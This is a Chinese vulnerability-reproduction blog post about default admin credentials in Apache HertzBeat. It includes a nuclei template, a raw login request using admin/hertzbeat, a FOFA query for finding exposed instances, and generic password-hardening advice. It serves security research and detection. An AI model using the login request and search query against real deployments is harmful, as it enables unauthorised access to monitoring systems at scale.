漏洞描述：
id: Apache-HertzBeat-default-passwdinfo:name: Apache-HertzBeat开源实时监控系统存在默认口令漏洞author: kingkongseverity: highmetadata:fofa-query: app="HertzBeat-实时监控系统""http:- raw:- |POST /api/account/auth/form HTTP/1.1Host: {{Hostname}}Content-Type: application/jsonContent-Length: 56{"type":0,"identifier":"admin","credential":"hertzbeat"}matchers-condition: andmatchers:- type: dsldsl:- 'status_code_1 == 200'- 'contains(body_1,"token")'condition: and
FOFA：app="HertzBeat-实时监控系统"
界面如下
漏洞检测POC
POST/api/account/auth/form HTTP/2Host:Content-Type: application/jsonContent-Length: 56{"type":0,"identifier":"admin","credential":"hertzbeat"}
neclei批量检测截图
1、强制密码策略：实施强制的密码复杂性要求，包括长度、大小写字母、数字和特殊字符的组合等。
2、多因素身份验证：使用多因素身份验证（MFA）来增强账户的安全性，即使密码泄露也能提供额外的保护。
3、密码定期更新：建议用户定期更改密码，以减少密码泄露后的风险。
原文始发于微信公众号（脚本小子）：Apache-HertzBeat开源实时监控系统存在默认口令漏洞【漏洞复现|附nuclei-POC】
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论